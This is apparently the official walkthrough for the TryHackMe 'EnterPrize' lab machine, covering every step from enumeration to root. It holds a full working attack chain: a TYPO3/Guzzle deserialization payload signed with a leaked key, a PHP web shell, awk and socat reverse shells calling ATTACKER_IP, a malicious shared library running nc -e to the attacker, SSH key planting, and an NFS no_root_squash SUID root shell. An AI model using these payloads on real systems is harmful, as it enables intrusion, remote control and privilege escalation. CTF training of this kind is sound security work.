superhero1.github.io

TryHackMe EnterPrize - official walkthrough

Twitter - Youtube - Twitch - Donate on Ko-fi

0. Unintended ways

0day found that nfs was working from www-data (fixed) onurshin found that lxd group was assigned to privesc (fixed)

Special thanks to SuitGuy for the amazing support during the walkthrough stream! Also a huge shoutout to Disciple! You are awesome!

1. Deploying the machine

Deploy the machine and add the `MACHINE_IP enterprize.thm` to your `/etc/hosts` file.

2. Target enumeration

2.0. Port scan

A standard port scan can be done via:

```
sudo nmap -sCV -T5 --min-rate 2500 -p- enterprize.thm -oN nmap.txt
```

```
Starting Nmap 7.91 ( https://nmap.org ) at ...
Nmap scan report for MACHINE_IP
Host is up (0.052s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 67:c0:57:34:91:94:be:da:4c:fd:92:f2:09:9d:36:8b (RSA)
|   256 13:ed:d6:6f:ea:b4:5b:87:46:91:6b:cc:58:4d:75:11 (ECDSA)
|_  256 25:51:84:fd:ef:61:72:c6:9d:fa:56:5f:14:a1:6f:90 (ED25519)
80/tcp  open   http    Apache httpd
|_http-server-header: Apache
|_http-title: Blank Page
443/tcp closed https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.02 seconds
```

2.1. Server website

The top-level server website at `enterprize.thm` will respond with:

`Nothing to see here.`

Nevertheless, we will fuzz the files and folders returns:

`ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://enterprize.thm/FUZZ`

```
.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8]
.htpasswd               [Status: 403, Size: 199, Words: 14, Lines: 8]
public                  [Status: 403, Size: 199, Words: 14, Lines: 8]
server-status           [Status: 403, Size: 199, Words: 14, Lines: 8]
var                     [Status: 403, Size: 199, Words: 14, Lines: 8]
vendor                  [Status: 403, Size: 199, Words: 14, Lines: 8]
```

Assuming there are more files we could discover let's run:

`ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://enterprize.thm/FUZZ -e .json,.php,.html,.bak,.old,.sql -fc 403`

```
composer.json           [Status: 200, Size: 589, Words: 120, Lines: 21]
index.html              [Status: 200, Size: 78, Words: 5, Lines: 2]
index.html              [Status: 200, Size: 78, Words: 5, Lines: 2]
```

`curl http://enterprize.thm/composer.json`


```
{
    "name": "superhero1/enterprize",
    "description": "THM room EnterPrize",
    "type": "project",
    "require": {
        "typo3/cms-core": "^9.5",
        "guzzlehttp/guzzle": "~6.3.3",
        "guzzlehttp/psr7": "~1.4.2",
        "typo3/cms-install": "^9.5",
        "typo3/cms-backend": "^9.5",
        "typo3/cms-core": "^9.5",
        "typo3/cms-extbase": "^9.5",
        "typo3/cms-extensionmanager": "^9.5",
        "typo3/cms-frontend": "^9.5",
        "typo3/cms-install": "^9.5",
        "typo3/cms-introduction": "^4.0"
    },
    "license": "GPL",
    "minimum-stability": "stable"
}
```


2.2. Subdomain

Knowing there is probably a typo3 installation on this webserver we fuzz for subdomains, filtering out the same size results (`85`):

```
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.enterprize.thm" -u http://enterprize.thm/ -fs 85
```

and discover:

```
maintest                [Status: 200, Size: 24555, Words: 1438, Lines: 49]
```

that is to be added to the end of the line in `/etc/hosts`.

2.3. Typo3

`maintest.enterprize.thm` shows a default typo3 installation that was built using the `composer.json` found in step 2.1.

While there is not much to see on the example pages and bruteforcing is giving no results, fuzzing the installation reveals some folders:

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://maintest.enterprize.thm/FUZZ -fc 403
```

```
fileadmin               [Status: 301, Size: 249, Words: 14, Lines: 8]
typo3                   [Status: 301, Size: 245, Words: 14, Lines: 8]
typo3conf               [Status: 301, Size: 249, Words: 14, Lines: 8]
typo3temp               [Status: 301, Size: 249, Words: 14, Lines: 8]
```

`fileadmin` or `typo3conf` are definitely the most interesting ones.

2.4.1 LocalConfiguration information leak

During the walkthrough stream I got to know that there is directory listing enabled on `typo3conf`.

2.4.2 LocalConfiguration information leak (originally planned :))

Fuzzing this website for old files (hint) with a custom wordlist:

`wget https://raw.githubusercontent.com/JavierOlmedo/UltimateCMSWordlists/master/typo3/core/version%209.x/typo3-9.5.4_16477.txt`

`cat typo3-9.5.4_16477.txt | cut -d"." -f1 | cut -c2- > typo3_custom.txt`

`ffuf -w typo3_custom.txt -u http://maintest.enterprize.thm/FUZZ -e .old -fc 301 | grep "\.old"`

or just being lucky reveals:

```
typo3conf/LocalConfiguration.old [Status: 200, Size: 5434, Words: 1606, Lines: 131]
```

Inside we find the **encryptionKey**:

`curl http://maintest.enterprize.thm/typo3conf/LocalConfiguration.old`

```
...
'encryptionKey' => '712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c
...
```

3. Foothold

3.1. Research

From inside `composer.json` found in step 2.1 we know the typo3 installation is running:

```
...
"guzzlehttp/guzzle": "~6.3.3",
...
```

With a little bit of googling we can find articles like: TYPO3: LEAK TO REMOTE CODE EXECUTION. that explains this version is vulnerable to deserialization attacks and phpggc provides different gadget chains to exploit this.

3.2. Putting it together

Firstly, we create a file to be stored on the server, e.g. `inject.php`:

```
<?php $output = system($_GET[1]); echo $output ; ?>
```

Secondly, we run it through phpggc with the standard fileadmin temp folder as file destination:

```
./phpggc -b --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/inject.php ./inject.php
```

which returns the following payload:

```
YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raW
```

Finally, we need to sign this message with the discovered `encryptionKey` from step 2.4.:

We create a simple php file, e.g. `hmac_sign.php`:

```
<?php
  $key = "712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c0b";
  $message = "YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2ll
  $output = hash_hmac('sha1', $message, $key);
  echo $output;
?>
```

to sign our payload running:

`php hmac_sign.php`

```
2b01628d8043b631fba121226d2291c29163fd6f
```

3.3. Reverse shell

To get our reverse shell we intercept the submission of the **contact form** at `http://maintest.enterprize.thm/index.php?id=38` that comes with the typo3 introduction package which is installed.

You can fill in anything in the form fields, it does not matter, e.g. all with `1` and `1@example.com`.

After you submit it the first time, the server signs the form to finally send it and shows a *Summary page*. This second request needs to be intercepted, e.g. using **burp proxy**, and the `__state` modified like this:

```
POST /index.php?id=38&tx_form_formframework%5Baction%5D=perform&tx_form_formframework%5Bcontroller%5D=FormFrontend
Host: maintest.enterprize.thm
...

------WebKitFormBoundarylX5znyrD2Av7OPQp
Content-Disposition: form-data; name="tx_form_formframework[contactForm-144][__state]"

YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raW
------WebKitFormBoundarylX5znyrD2Av7OPQp
...
```

The page will give us an error but the file is successfully created and can be accessed here:
`http://maintest.enterprize.thm/fileadmin/_temp_/inject.php?1=id`

```
[{"Expires":1,"Discard":false,"Value":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked) uid=33(
```

A reverse shell cannot easily be opened though as access to many executable is restricted (reverse shell cheat sheet).

Nevertheless, it can be achieved by: `awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null`

as HTTP request e.g. from within **burp repeater**:

```
GET /fileadmin/_temp_/inject.php?1=%61%77%6b%20%27%42%45%47%49%4e%20%7b%73%20%3d%20%22%2f%69%6e%65%74%2f%74%63%70%
Host: maintest.enterprize.thm
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicati
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cookieconsent_status=dismiss; Typo3InstallTool=hdqjjm6j4hfsvhmoajs02p5rqb; fe_typo_user=489bbe60aff27758d0
Connection: close
```

3.4. Upgrade shell

As the access to python, perl and others is disabled we can transfer socat to the host and upgrade our shell.

On the attacker's machine:

`wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat`

`python3 -m http.server`

`nc -lnvp 4444` (separate terminal)

On the target host:

`wget -q http://ATTACKER_IP:8000/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444`

`export TERM=xterm-256color`

`export SHELL=bash`

Now we have a fully interactive shell as `www-data`.

4. Gain user access

4.1. Host enumeration

Looking in the `/home` directory we find `john`'s folder that also contains a folder called `develop` where we have **write access** with the **sticky flag** which means we can create and modify files but existing files.

The `myapp` executable seems undone but we can analyze its behavior with `strace`, `ltrace` and `ldd`. Watching `result.txt` we can observe obviously something is running every 2 minutes. So how can we exploit this?

`ldd myapp` reveals:

```
linux-vdso.so.1 (0x00007fff96fd7000)
libcustom.so => /lib/libcustom.so (0x00007fe502e3c000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe502c77000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe502e5e000)
```

but we don't have write access. To do something like an ld.so exploit we need to inject our own *bad library*.

Looking at possible locations reveals a **dangling symlink** at `/etc/ld.so.conf.d/x86_64-libc.conf -> /home/john/develop/test.conf` and `/home/john/develop/` is writable:

`echo "/home/john/develop/" > /home/john/develop/test.conf`

4.2. `libcustom.so` exploit

From the previous step we know the function within `libcustom.so` is called `do_ping()`. We create our own shared library to overwrite that function with code for a reverse shell:

```
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void do_ping(){
    printf("I'm the bad library\n");
    system("/home/john/develop/nc -e /bin/sh ATTACKER_IP 4242",NULL,NULL);
}
```

and upload our compiled *bad library* (`gcc -shared -o badcustom.so -fPIC badcustom.c`) along with `nc` (e.g. from kali) to the host, e.g. using a python http server and wget as seen before):

`wget http://ATTACKER_IP:8000/nc`

`wget http://ATTACKER_IP:8000/badcustom.so`

`chmod +x nc && mv badcustom.so libcustom.so && chmod +x libcustom.so`

Optional: Uploading and running pspy64 would show that also root is running a cronjob for `/sbin/ldconfig` every two minutes to activate the preshared folder structures including the dangling symlink.

4.3. User flag

Once our last reverse shell kicks in we can read `/home/john/user.txt` which contains the user flag.

4.4. SSH access

At this point it makes sense to generate a new ssh keypair locally and add the public key to `/home/john/.ssh/authorized_keys` so we get proper SSH access.

Run `ssh-keygen`, `chmod 600 id_rsa` and `cat id_rsa.pub` on your local machine. On the target create the .ssh directory (`mkdir ~/.ssh`) and store your key:

`echo "YOUR_KEY_HERE" > /home/john/.ssh/authorized_keys`.

Now we can connect via ssh using `ssh -i id_rsa john@enterprize.thm` and are logged in as `john`.

5. PrivEsc

5.1. Host enumeration

Looking around and running automated tools like linpeas might not reveal much information.

But looking at the open ports does:

`ss -tulpn | grep "LISTEN"`

```
tcp   LISTEN  0       64                  0.0.0.0:2049          0.0.0.0:*
tcp   LISTEN  0       80                127.0.0.1:3306          0.0.0.0:*
tcp   LISTEN  0       128                 0.0.0.0:54637         0.0.0.0:*
tcp   LISTEN  0       64                  0.0.0.0:35759         0.0.0.0:*
tcp   LISTEN  0       128                 0.0.0.0:111           0.0.0.0:*
tcp   LISTEN  0       128                 0.0.0.0:35665         0.0.0.0:*
tcp   LISTEN  0       128                 0.0.0.0:58321         0.0.0.0:*
tcp   LISTEN  0       128           127.0.0.53%lo:53            0.0.0.0:*
tcp   LISTEN  0       128                 0.0.0.0:22            0.0.0.0:*
tcp   LISTEN  0       64                     [::]:2049             [::]:*
tcp   LISTEN  0       128                    [::]:56867            [::]:*
tcp   LISTEN  0       64                     [::]:33225            [::]:*
tcp   LISTEN  0       128                    [::]:33487            [::]:*
tcp   LISTEN  0       128                    [::]:111              [::]:*
tcp   LISTEN  0       128                       *:80                  *:*
tcp   LISTEN  0       128                    [::]:22               [::]:*
tcp   LISTEN  0       128                    [::]:38711            [::]:*
```

and we discover that `nfs` is running (port `2049`). Remote access is blocked by the firewall as it did not show up during the port scan (see 2.0.).

5.2. Local port forwarding

With `ssh -fNv -L 2049:localhost:2049 john@enterprize.thm -i id_rsa` we forward the port to our attacker machine.

Let's create a local directory called `nfs` (`mkdir nfs`) and mount the fileshare:

```
sudo mount -t nfs localhost:/var/nfs nfs/
```

5.3. NFS misconfiguration PE

As written at NFS no_root_squash/no_all_squash misconfiguration PE `no_root_squash` allows us to escalate our privileges:

```
cd nfs
```

```
sudo su
```

```
cp /bin/sh .
```

```
chmod +s sh
```

```
exit
```

```
sudo umount -f localhost:/var/nfs
```

Now we have copied the sh-binary as root with the SUID permission set.

5.4. Root flag

On the target we run `/var/nfs/sh -p` to spawn our root shell and `cat /root/root.txt` that reveals the root flag.

Done! :)